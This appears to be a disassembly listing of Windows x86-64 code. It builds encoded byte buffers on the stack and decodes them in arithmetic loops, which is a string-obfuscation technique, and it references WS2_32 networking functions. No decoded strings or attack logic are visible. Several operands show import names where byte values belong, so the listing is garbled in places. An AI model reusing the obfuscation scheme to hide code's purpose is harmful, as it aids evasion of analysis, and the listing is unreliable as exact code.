mov byte [rbp + 0x439], 0x46
mov byte [rbp + 0x43a], 0x27
mov byte [rbp + 0x43b], 0x5d
mov byte [rbp + 0x43c], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x43d], 0x27
mov byte [rbp + 0x43e], 0x7c
mov byte [rbp + 0x43f], 0x5d
mov byte [rbp + 0x440], 0xe
mov byte [rbp + 0x441], WSAGetLastError
mov byte [rbp + 0x442], 0x7b
mov byte [rbp + 0x443], 0x5d
mov byte [rbp + 0x444], 0x7c
mov byte [rbp + 0x445], gethostbyname
mov byte [rbp + 0x446], gethostname
mov byte [rbp + 0x447], 0x7c
mov byte [rbp + 0x448], 0x5d
mov byte [rbp + 0x449], 0x1c
mov byte [rbp + 0x44a], 0x5d
mov byte [rbp + 0x44b], gethostname
mov byte [rbp + 0x44c], 5
mov byte [rbp + 0x44d], 0x5d
mov byte [rbp + 0x44e], gethostbyname
mov byte [rbp + 0x44f], 0x7b
mov byte [rbp + 0x450], 0x5a
mov byte [rbp + 0x451], 0x7b
mov byte [rbp + 0x452], 0x5d
mov byte [rbp + 0x453], 0x7c
mov byte [rbp + 0x454], 0x27
mov byte [rbp + 0x455], 0x5d
mov byte [rbp + 0x456], gethostbyname
mov byte [rbp + 0x457], gethostname
mov byte [rbp + 0x458], WSAGetLastError
mov byte [rbp + 0x459], 0x7c
mov byte [rbp + 0x45a], 0x7b
mov byte [rbp + 0x45b], 0x5d
mov byte [rbp + 0x45c], 5
mov byte [rbp + 0x45d], 0x40
mov byte [rbp + 0x45e], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x45f], 0x7b
mov byte [rbp + 0x460], 0x5d
mov byte [rbp + 0x461], 0x27
mov byte [rbp + 0x462], 0x5a
mov byte [rbp + 0x463], 0x5d
mov byte [rbp + 0x464], 0x52
mov byte [rbp + 0x465], 0x27
mov byte [rbp + 0x466], 0xe
mov byte [rbp + 0x467], 0x5a
mov byte [rbp + 0x468], 0x5d
mov byte [rbp + 0x469], 0x7c
mov byte [rbp + 0x46a], 0x40
mov byte [rbp + 0x46b], 5
mov byte [rbp + 0x46c], 0x7b
mov byte [rbp + 0x46d], 0x4d
mov byte [rbp + 0x46e], 0x18
mov byte [rbp + 0x46f], 0x64
mov byte [rbp + 0x470], 0x18
mov byte [rbp + 0x471], 0x64
mov byte [rbp + 0x472], reloc.WS2_32.dll_gethostname
mov al, byte [rbp + 0x438]
test al, 1
jne 0x14000626e
mov eax, 1
nop word [rax + rax]
movzx ecx, byte [rbp + rax + 0x438]
movzx ecx, cl
lea ecx, [rcx + rcx*4]
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rcx*2]
add ecx, 0xfffffca9
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffffca9
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add ecx, edx
add ecx, 0xfffffca9
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x438], cl
add rax, 1
cmp rax, 0x3b
jne 0x1400061f0
mov byte [rbp + 0x6c0], 0
mov byte [rbp + 0x6c1], 0x77
mov byte [rbp + 0x6c2], 0x49
mov byte [rbp + 0x6c3], 0x2a
mov byte [rbp + 0x6c4], 0x55
mov byte [rbp + 0x6c5], WSAGetLastError
mov byte [rbp + 0x6c6], 0x2a
mov byte [rbp + 0x6c7], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x6c8], 0x60
mov byte [rbp + 0x6c9], 0x49
mov byte [rbp + 0x6ca], gethostname
mov byte [rbp + 0x6cb], 0x49
mov byte [rbp + 0x6cc], shutdown
mov byte [rbp + 0x6cd], 0x2a
mov byte [rbp + 0x6ce], 0x43
mov byte [rbp + 0x6cf], 0x43
mov byte [rbp + 0x6d0], gethostname
mov byte [rbp + 0x6d1], 0x64
mov byte [rbp + 0x6d2], 0x2a
mov byte [rbp + 0x6d3], 0x49
mov byte [rbp + 0x6d4], 0x47
mov byte [rbp + 0x6d5], 0x26
mov byte [rbp + 0x6d6], 0x4e
mov byte [rbp + 0x6d7], shutdown
mov byte [rbp + 0x6d8], 0x49
mov byte [rbp + 0x6d9], WSACleanup
mov byte [rbp + 0x6da], 0x4e
mov byte [rbp + 0x6db], 0x7d
mov byte [rbp + 0x6dc], 0x49
mov byte [rbp + 0x6dd], gethostname
mov byte [rbp + 0x6de], 0x1f
mov byte [rbp + 0x6df], 0x60
mov byte [rbp + 0x6e0], 2
mov byte [rbp + 0x6e1], 0x49
mov byte [rbp + 0x6e2], 0x60
mov byte [rbp + 0x6e3], 2
mov byte [rbp + 0x6e4], 0x2a
mov byte [rbp + 0x6e5], 0x49
mov byte [rbp + 0x6e6], 0x60
mov byte [rbp + 0x6e7], 0x26
mov byte [rbp + 0x6e8], gethostname
mov byte [rbp + 0x6e9], gethostbyname
mov byte [rbp + 0x6ea], 0x43
mov byte [rbp + 0x6eb], 0x47
mov byte [rbp + 0x6ec], 0x2a
mov byte [rbp + 0x6ed], 0x26
mov byte [rbp + 0x6ee], 0x49
mov byte [rbp + 0x6ef], 0x4e
mov byte [rbp + 0x6f0], 0x47
mov byte [rbp + 0x6f1], 0x49
mov byte [rbp + 0x6f2], 0x2b
mov byte [rbp + 0x6f3], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x6f4], 0x48
mov byte [rbp + 0x6f5], 0x49
mov byte [rbp + 0x6f6], 0x48
mov byte [rbp + 0x6f7], 0x4e
mov byte [rbp + 0x6f8], gethostbyname
mov byte [rbp + 0x6f9], 0x47
mov byte [rbp + 0x6fa], 0x1f
mov byte [rbp + 0x6fb], 0x26
mov byte [rbp + 0x6fc], shutdown
mov byte [rbp + 0x6fd], gethostname
mov byte [rbp + 0x6fe], 0x60
mov byte [rbp + 0x6ff], 0x1f
mov byte [rbp + 0x700], 0x4e
mov byte [rbp + 0x701], gethostbyname
mov byte [rbp + 0x702], 0x49
mov byte [rbp + 0x703], gethostbyname
mov byte [rbp + 0x704], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x705], gethostbyname
mov byte [rbp + 0x706], 0x77
mov byte [rbp + 0x707], 0x65
mov byte [rbp + 0x708], 0x50
mov byte [rbp + 0x709], 0x62
mov byte [rbp + 0x70a], 0x49
mov byte [rbp + 0x70b], 0x1c
mov byte [rbp + 0x70c], 0x4e
mov byte [rbp + 0x70d], 0x49
mov byte [rbp + 0x70e], gethostname
mov byte [rbp + 0x70f], 0x2a
mov byte [rbp + 0x710], 0x49
mov byte [rbp + 0x711], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x712], gethostname
mov byte [rbp + 0x713], gethostbyname
mov byte [rbp + 0x714], 0x49
mov byte [rbp + 0x715], shutdown
mov byte [rbp + 0x716], 0x4e
mov byte [rbp + 0x717], 0x1b
mov byte [rbp + 0x718], 0x2a
mov byte [rbp + 0x719], 0x49
mov byte [rbp + 0x71a], 0x47
mov byte [rbp + 0x71b], 0x4e
mov byte [rbp + 0x71c], 0x26
mov byte [rbp + 0x71d], gethostname
mov byte [rbp + 0x71e], gethostname
mov byte [rbp + 0x71f], 0x26
mov byte [rbp + 0x720], 0xd
mov byte [rbp + 0x721], 0x49
mov byte [rbp + 0x722], 0x60
mov byte [rbp + 0x723], 0x4e
mov byte [rbp + 0x724], 0x49
mov byte [rbp + 0x725], 0xd
mov byte [rbp + 0x726], 0x2a
mov byte [rbp + 0x727], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x728], 0x26
mov byte [rbp + WSACleanup9], 0x72
mov byte [rbp + 0x72a], WSAGetLastError
mov byte [rbp + 0x72b], 0x60
mov byte [rbp + 0x72c], 0x49
mov byte [rbp + 0x72d], gethostname
mov byte [rbp + 0x72e], 0x76
mov byte [rbp + 0x72f], 0x76
mov byte [rbp + 0x730], 0x49
mov byte [rbp + 0x731], WSACleanup
mov byte [rbp + 0x732], 0x4e
mov byte [rbp + 0x733], 0x7d
mov byte [rbp + 0x734], 0x26
mov byte [rbp + 0x735], 0x49
mov byte [rbp + 0x736], 0xd
mov byte [rbp + 0x737], gethostname
mov byte [rbp + 0x738], 0x60
mov byte [rbp + 0x739], gethostname
mov byte [rbp + 0x73a], 0x62
mov byte [rbp + 0x73b], 0x49
mov byte [rbp + 0x73c], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x73d], gethostbyname
mov byte [rbp + 0x73e], 0x77
mov byte [rbp + 0x73f], 0x65
mov byte [rbp + 0x740], 0x49
mov byte [rbp + 0x741], 0x1f
mov byte [rbp + 0x742], 0x43
mov byte [rbp + 0x743], 0x49
mov byte [rbp + 0x744], 0x1b
mov byte [rbp + 0x745], 0x2a
mov byte [rbp + 0x746], 0x26
mov byte [rbp + 0x747], WSACleanup
mov byte [rbp + 0x748], 0x49
mov byte [rbp + 0x749], 0x1f
mov byte [rbp + 0x74a], shutdown
mov byte [rbp + 0x74b], WSAGetLastError
mov byte [rbp + 0x74c], 0x4e
mov byte [rbp + 0x74d], 0x26
mov byte [rbp + 0x74e], 0x60
mov byte [rbp + 0x74f], gethostname
mov byte [rbp + 0x750], gethostbyname
mov byte [rbp + 0x751], 0x60
mov byte [rbp + 0x752], 0x49
mov byte [rbp + 0x753], 0x52
mov byte [rbp + 0x754], 0x2a
mov byte [rbp + 0x755], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x756], gethostname
mov byte [rbp + 0x757], 0x7d
mov byte [rbp + 0x758], 0x43
mov byte [rbp + 0x759], 0x2a
mov byte [rbp + 0x75a], 0x49
mov byte [rbp + 0x75b], 0x1f
mov byte [rbp + 0x75c], 0x60
mov byte [rbp + 0x75d], 0x49
mov byte [rbp + 0x75e], gethostname
mov byte [rbp + 0x75f], 0x1f
mov byte [rbp + 0x760], 0x76
mov byte [rbp + 0x761], 0x76
mov byte [rbp + 0x762], 0x49
mov byte [rbp + 0x763], 2
mov byte [rbp + 0x764], 0x2a
mov byte [rbp + 0x765], 0x76
mov byte [rbp + 0x766], WSAGetLastError
mov byte [rbp + 0x767], 0x49
mov byte [rbp + 0x768], 0x7d
mov byte [rbp + 0x769], 0x43
mov byte [rbp + 0x76a], 0x49
mov byte [rbp + 0x76b], 0x1f
mov byte [rbp + 0x76c], 0xd
mov byte [rbp + 0x76d], 0x2a
mov byte [rbp + 0x76e], gethostbyname
mov byte [rbp + 0x76f], 0x60
mov byte [rbp + 0x770], 0x1f
mov byte [rbp + 0x771], 0x47
mov byte [rbp + 0x772], WSACleanup
mov byte [rbp + 0x773], 0x49
mov byte [rbp + 0x774], WSACleanup
mov byte [rbp + 0x775], 0x4e
mov byte [rbp + 0x776], 0x7d
mov byte [rbp + 0x777], 0x26
mov byte [rbp + 0x778], 0x49
mov byte [rbp + 0x779], WSAGetLastError
mov byte [rbp + 0x77a], gethostname
mov byte [rbp + 0x77b], WSACleanup
mov byte [rbp + 0x77c], shutdown
mov byte [rbp + 0x77d], 0x2a
mov byte [rbp + 0x77e], gethostbyname
mov byte [rbp + 0x77f], 0x60
mov byte [rbp + 0x780], 0x49
mov byte [rbp + 0x781], gethostname
mov byte [rbp + 0x782], gethostbyname
mov byte [rbp + 0x783], 0xd
mov byte [rbp + 0x784], 0x49
mov byte [rbp + 0x785], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x786], 0x4e
mov byte [rbp + 0x787], gethostbyname
mov byte [rbp + 0x788], gethostbyname
mov byte [rbp + 0x789], 0x2a
mov byte [rbp + 0x78a], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x78b], 0x60
mov byte [rbp + 0x78c], 0x49
mov byte [rbp + 0x78d], 0x1f
mov byte [rbp + 0x78e], 0x60
mov byte [rbp + 0x78f], 0x49
mov byte [rbp + 0x790], 0x60
mov byte [rbp + 0x791], 0x4e
mov byte [rbp + 0x792], 0x49
mov byte [rbp + 0x793], WSACleanup
mov byte [rbp + 0x794], 0x4e
mov byte [rbp + 0x795], 0x7d
mov byte [rbp + 0x796], 0x26
mov byte [rbp + 0x797], 0x49
mov byte [rbp + 0x798], 0x2a
mov byte [rbp + 0x799], gethostbyname
mov byte [rbp + 0x79a], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x79b], 0x26
mov byte [rbp + 0x79c], WSACleanup
mov byte [rbp + 0x79d], WSAGetLastError
mov byte [rbp + 0x79e], 0x60
mov byte [rbp + 0x79f], 0x2a
mov byte [rbp + 0x7a0], 0xd
mov byte [rbp + 0x7a1], 0x49
mov byte [rbp + 0x7a2], 0xd
mov byte [rbp + 0x7a3], gethostname
mov byte [rbp + 0x7a4], 0x60
mov byte [rbp + 0x7a5], gethostname
mov byte [rbp + 0x7a6], 0x62
mov byte [rbp + 0x7a7], 0x22
mov al, byte [rbp + 0x6c0]
test al, 1
jne 0x14000695c
mov eax, 1
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x6c0]
movzx ecx, cl
imul ecx, ecx, 0xffffffdd
mov edx, ecx
add edx, 0x4a6
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x4a6
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x4a6
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x6c0], cl
add rax, 1
cmp rax, 0xe8
jne 0x1400068e0
mov byte [rbp + 0x520], 0
mov byte [rbp + 0x521], 0x40
mov byte [rbp + 0x522], 0x44
mov byte [rbp + 0x523], 0x79
mov byte [rbp + 0x524], 0x25
mov byte [rbp + 0x525], 0x3b
mov byte [rbp + 0x526], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x527], 0x66
mov byte [rbp + 0x528], 0x5d
mov byte [rbp + 0x529], 0x1f
mov byte [rbp + 0x52a], 0x7c
mov byte [rbp + 0x52b], 0
mov byte [rbp + 0x52c], 0x25
mov byte [rbp + 0x52d], 0x79
mov byte [rbp + 0x52e], 0x22
mov byte [rbp + 0x52f], 0x3e
mov byte [rbp + 0x530], 0x63
mov byte [rbp + 0x531], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x532], 0x79
mov byte [rbp + 0x533], 3
mov byte [rbp + 0x534], 0x25
mov byte [rbp + 0x535], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x536], 0x5f
mov byte [rbp + 0x537], 0x22
mov byte [rbp + 0x538], 0x79
mov byte [rbp + 0x539], 0x66
mov byte [rbp + 0x53a], 0x5d
mov byte [rbp + 0x53b], 0x22
mov byte [rbp + 0x53c], 0x3e
mov byte [rbp + 0x53d], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x53e], 0x79
mov byte [rbp + 0x53f], 0x3b
mov byte [rbp + 0x540], 0x28
mov byte [rbp + 0x541], 0x3e
mov byte [rbp + 0x542], 0x5a
mov byte [rbp + 0x543], 0x28
mov byte [rbp + 0x544], 0x66
mov byte [rbp + 0x545], 0x79
mov byte [rbp + 0x546], 0x22
mov byte [rbp + 0x547], 0x5d
mov byte [rbp + 0x548], 0x3e
mov byte [rbp + 0x549], gethostbyname
mov byte [rbp + 0x54a], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x54b], 0x5a
mov byte [rbp + 0x54c], 0x25
mov byte [rbp + 0x54d], 0x3e
mov byte [rbp + 0x54e], 6
mov byte [rbp + 0x54f], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x550], 0x28
mov byte [rbp + 0x551], 0x3e
mov byte [rbp + 0x552], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x553], 0x25
mov byte [rbp + 0x554], 0x1f
mov byte [rbp + 0x555], 0x28
mov byte [rbp + 0x556], 0x22
mov byte [rbp + 0x557], 0
mov byte [rbp + 0x558], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x559], 0x28
mov byte [rbp + 0x55a], 0x79
mov byte [rbp + 0x55b], 0x65
mov byte [rbp + 0x55c], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x55d], 3
mov byte [rbp + 0x55e], 0x79
mov byte [rbp + 0x55f], 0x79
mov byte [rbp + 0x560], 0x7c
mov byte [rbp + 0x561], 0x65
mov byte [rbp + 0x562], 0xe
mov byte [rbp + 0x563], 0xe
mov byte [rbp + 0x564], 0x60
mov byte [rbp + 0x565], 0x3e
mov byte [rbp + 0x566], 0x22
mov byte [rbp + 0x567], 0x63
mov byte [rbp + 0x568], 3
mov byte [rbp + 0x569], 0x79
mov byte [rbp + 0x56a], gethostname
mov byte [rbp + 0x56b], 0x49
mov byte [rbp + 0x56c], 0x7c
mov byte [rbp + 0x56d], 6
mov byte [rbp + 0x56e], 0x57
mov byte [rbp + 0x56f], 0x3b
mov byte [rbp + 0x570], 0x3b
mov byte [rbp + 0x571], 0x44
mov byte [rbp + 0x572], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x573], 0x76
mov byte [rbp + 0x574], 0x63
mov byte [rbp + 0x575], 3
mov byte [rbp + 0x576], 0x22
mov byte [rbp + 0x577], gethostname
mov byte [rbp + 0x578], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x579], inet_ntoa
mov byte [rbp + 0x57a], 0x1c
mov byte [rbp + 0x57b], 0x66
mov byte [rbp + 0x57c], 0x66
mov byte [rbp + 0x57d], 0x76
mov byte [rbp + 0x57e], 0x76
mov byte [rbp + 0x57f], 0x63
mov byte [rbp + 0x580], 3
mov byte [rbp + 0x581], 0x60
mov byte [rbp + 0x582], WSAGetLastError
mov byte [rbp + 0x583], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x584], 0x44
mov byte [rbp + 0x585], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x586], 0x44
mov byte [rbp + 0x587], 0x22
mov byte [rbp + 0x588], 0x63
mov byte [rbp + 0x589], 0x19
mov byte [rbp + 0x58a], 0x3b
mov byte [rbp + 0x58b], 0x49
mov byte [rbp + 0x58c], 0x68
mov byte [rbp + 0x58d], WSAGetLastError
mov byte [rbp + 0x58e], 0x63
mov byte [rbp + 0x58f], 0x66
mov byte [rbp + 0x590], 0x3e
mov byte [rbp + 0x591], 0x1f
mov byte [rbp + 0x592], 0x7c
mov byte [rbp + 0x593], 0x1f
mov byte [rbp + 0x594], 0x63
mov byte [rbp + 0x595], 6
mov byte [rbp + 0x596], 0x2a
mov byte [rbp + 0x597], 0x7c
mov byte [rbp + 0x598], 0x63
mov byte [rbp + 0x599], 0x44
mov byte [rbp + 0x59a], 0x22
mov byte [rbp + 0x59b], 6
mov byte [rbp + 0x59c], WSACleanup
mov byte [rbp + 0x59d], 0x5d
mov byte [rbp + 0x59e], 0x3e
mov byte [rbp + 0x59f], 0x22
mov byte [rbp + 0x5a0], 0x5d
mov byte [rbp + 0x5a1], 0x3e
mov byte [rbp + 0x5a2], 0xe
mov byte [rbp + 0x5a3], 0x54
mov byte [rbp + 0x5a4], 0x54
mov byte [rbp + 0x5a5], 0x5f
mov byte [rbp + 0x5a6], gethostbyname
mov byte [rbp + 0x5a7], 0x3a
mov byte [rbp + 0x5a8], 0x18
mov byte [rbp + 0x5a9], 0x1e
mov byte [rbp + 0x5aa], WSAGetLastError
mov byte [rbp + 0x5ab], 0x3a
mov byte [rbp + 0x5ac], 0x1e
mov byte [rbp + 0x5ad], shutdown
mov byte [rbp + 0x5ae], shutdown
mov byte [rbp + 0x5af], 0xe
mov byte [rbp + 0x5b0], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x5b1], gethostbyname
mov byte [rbp + 0x5b2], 0x1e
mov byte [rbp + 0x5b3], 0x5d
mov byte [rbp + 0x5b4], 0x57
mov byte [rbp + 0x5b5], 0x3e
mov byte [rbp + 0x5b6], 0
mov byte [rbp + 0x5b7], 0x5d
mov byte [rbp + 0x5b8], 0x28
mov byte [rbp + 0x5b9], 6
mov byte [rbp + 0x5ba], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x5bb], 0x28
mov byte [rbp + 0x5bc], 0x3e
mov byte [rbp + 0x5bd], 6
mov byte [rbp + 0x5be], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x5bf], 0x22
mov byte [rbp + 0x5c0], 0x3e
mov byte [rbp + 0x5c1], 0x5a
mov byte [rbp + 0x5c2], 0x79
mov byte [rbp + 0x5c3], 0x28
mov byte [rbp + 0x5c4], 0
mov byte [rbp + 0x5c5], 0
mov byte [rbp + 0x5c6], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x5c7], shutdown
mov byte [rbp + 0x5c8], 0x75
mov byte [rbp + 0x5c9], 0x53
mov byte [rbp + 0x5ca], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x5cb], 0x5f
mov byte [rbp + 0x5cc], 0x3b
mov byte [rbp + 0x5cd], 0x5d
mov byte [rbp + 0x5ce], 0x57
mov byte [rbp + 0x5cf], 0x5a
mov byte [rbp + 0x5d0], 0x25
mov byte [rbp + 0x5d1], 0x3b
mov byte [rbp + 0x5d2], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x5d3], gethostbyname
mov byte [rbp + 0x5d4], 3
mov byte [rbp + 0x5d5], 0x79
mov byte [rbp + 0x5d6], 0x79
mov byte [rbp + 0x5d7], 0x7c
mov byte [rbp + 0x5d8], 0x5a
mov byte [rbp + 0x5d9], 0x65
mov byte [rbp + 0x5da], 0xe
mov byte [rbp + 0x5db], 0xe
mov byte [rbp + 0x5dc], 0x57
mov byte [rbp + 0x5dd], 0x57
mov byte [rbp + 0x5de], 0x57
mov byte [rbp + 0x5df], WSACleanup
mov byte [rbp + 0x5e0], 0x79
mov byte [rbp + 0x5e1], 0x5d
mov byte [rbp + 0x5e2], 0x3b
mov byte [rbp + 0x5e3], 0x7c
mov byte [rbp + 0x5e4], 0x3b
mov byte [rbp + 0x5e5], 0x5d
mov byte [rbp + 0x5e6], 0x41
mov byte [rbp + 0x5e7], 0x25
mov byte [rbp + 0x5e8], 0x66
mov byte [rbp + 0x5e9], 0x79
mov byte [rbp + 0x5ea], WSACleanup
mov byte [rbp + 0x5eb], 0x5d
mov byte [rbp + 0x5ec], 0x3b
mov byte [rbp + 0x5ed], 0x63
mov byte [rbp + 0x5ee], 0xe
mov byte [rbp + 0x5ef], 0x52
mov byte [rbp + 0x5f0], WSACleanup
mov byte [rbp + 0x5f1], WSAGetLastError
mov byte [rbp + 0x5f2], 0x3a
mov byte [rbp + 0x5f3], 0x44
mov byte [rbp + 0x5f4], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x5f5], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x5f6], 0x5d
mov byte [rbp + 0x5f7], 0x19
mov byte [rbp + 0x5f8], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x5f9], 6
mov byte [rbp + 0x5fa], 0x5d
mov byte [rbp + 0x5fb], 0x3e
mov byte [rbp + 0x5fc], shutdown
mov byte [rbp + 0x5fd], 0x79
mov byte [rbp + 0x5fe], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x5ff], 0x60
mov byte [rbp + 0x600], 0x3e
mov byte [rbp + 0x601], 0x5d
mov byte [rbp + 0x602], 0x57
mov byte [rbp + 0x603], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x604], 3
mov byte [rbp + 0x605], 0x5d
mov byte [rbp + 0x606], 0x57
mov byte [rbp + 0x607], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x608], 0x79
mov byte [rbp + 0x609], 0x5d
mov byte [rbp + 0x60a], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x60b], 0x19
mov byte [rbp + 0x60c], 0x5a
mov byte [rbp + 0x60d], 0x25
mov byte [rbp + 0x60e], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x60f], 0x22
mov byte [rbp + 0x610], 0x79
mov byte [rbp + 0x611], gethostbyname
mov byte [rbp + 0x612], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x613], 6
mov byte [rbp + 0x614], 0x5d
mov byte [rbp + 0x615], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x616], 0x28
mov byte [rbp + 0x617], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x618], 0x7b
mov byte [rbp + 0x619], 0x5d
mov byte [rbp + 0x61a], 0x5d
mov byte [rbp + 0x61b], 0x63
mov byte [rbp + 0x61c], 0
mov byte [rbp + 0x61d], 0x25
mov byte [rbp + 0x61e], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x61f], 0x5a
mov byte [rbp + 0x620], 0x25
mov byte [rbp + 0x621], 0x28
mov byte [rbp + 0x622], 0x3b
mov byte [rbp + 0x623], 0x66
mov byte [rbp + 0x624], 3
mov byte [rbp + 0x625], 0x58
mov byte [rbp + 0x626], 0x2b
mov byte [rbp + 0x627], 0x52
mov byte [rbp + 0x628], WSACleanup
mov byte [rbp + 0x629], gethostbyname
mov byte [rbp + 0x62a], 0x5d
mov byte [rbp + 0x62b], 0x19
mov byte [rbp + 0x62c], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x62d], 0x57
mov byte [rbp + 0x62e], 0x22
mov byte [rbp + 0x62f], 0
mov byte [rbp + 0x630], 0
mov byte [rbp + 0x631], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x632], 0x63
mov byte [rbp + 0x633], 0x25
mov byte [rbp + 0x634], 0x79
mov byte [rbp + 0x635], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x636], 0x28
mov byte [rbp + 0x637], 0x3e
mov byte [rbp + 0x638], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x639], 0x28
mov byte [rbp + 0x63a], 0x3e
mov byte [rbp + 0x63b], 0x5a
mov byte [rbp + 0x63c], 0x57
mov byte [rbp + 0x63d], 0x25
mov byte [rbp + 0x63e], 0x3b
mov byte [rbp + 0x63f], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x640], 0x28
mov byte [rbp + 0x641], 0x5a
mov byte [rbp + 0x642], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x643], 0x5a
mov byte [rbp + 0x644], 0x5d
mov byte [rbp + 0x645], 0x5d
mov byte [rbp + 0x646], 0x3e
mov byte [rbp + 0x647], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x648], 0x28
mov byte [rbp + 0x649], 0x5a
mov byte [rbp + 0x64a], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x64b], 0x7c
mov byte [rbp + 0x64c], 0x5d
mov byte [rbp + 0x64d], 0x5a
mov byte [rbp + 0x64e], 0x5a
mov byte [rbp + 0x64f], 0x22
mov byte [rbp + 0x650], 0x47
mov byte [rbp + 0x651], 0
mov byte [rbp + 0x652], 0x25
mov byte [rbp + 0x653], WSACleanup
mov byte [rbp + 0x654], 0x67
mov byte [rbp + 0x655], 0xa
mov byte [rbp + 0x656], 0x67
mov byte [rbp + 0x657], 0xa
mov byte [rbp + 0x658], 0x51
mov al, byte [rbp + 0x520]
test al, 1
jne 0x140007280
mov eax, 1
nop
movzx ecx, byte [rbp + rax + 0x520]
movzx ecx, cl
lea edx, [rcx + rcx*4]
lea ebx, [rcx + rdx*8]
lea ecx, [rcx + rdx*8]
add ecx, 0xfffff307
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xfffff307
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0xfffff307
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x520], cl
add rax, 1
cmp rax, 0x139
jne 0x140007200
mov byte [rbp + 0x98], 0
mov byte [rbp + 0x99], 0x67
mov byte [rbp + 0x9a], 0x66
mov byte [rbp + 0x9b], 0x26
mov byte [rbp + 0x9c], 0x5f
mov byte [rbp + 0x9d], 0
mov byte [rbp + 0x9e], 0x50
mov byte [rbp + 0x9f], 0x7b
mov byte [rbp + 0xa0], 0x66
mov byte [rbp + 0xa1], 0
mov byte [rbp + 0xa2], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xa3], 3
mov byte [rbp + 0xa4], 0x50
mov byte [rbp + 0xa5], 0x58
mov byte [rbp + 0xa6], 0x2d
mov byte [rbp + 0xa7], 3
mov byte [rbp + 0xa8], 0x26
mov byte [rbp + 0xa9], 0
mov byte [rbp + 0xaa], 0x50
mov byte [rbp + 0xab], 0x2d
mov byte [rbp + 0xac], 0
mov byte [rbp + 0xad], 0x50
mov byte [rbp + 0xae], 0x7b
mov byte [rbp + 0xaf], 3
mov byte [rbp + 0xb0], 0x49
mov byte [rbp + 0xb1], 0
mov byte [rbp + 0xb2], 0x65
mov byte [rbp + 0xb3], 0x4a
mov byte [rbp + 0xb4], 0x18
mov byte [rbp + 0xb5], 0x18
mov byte [rbp + 0xb6], 0x66
mov byte [rbp + 0xb7], 0x50
mov byte [rbp + 0xb8], gethostname
mov byte [rbp + 0xb9], 2
mov byte [rbp + 0xba], 2
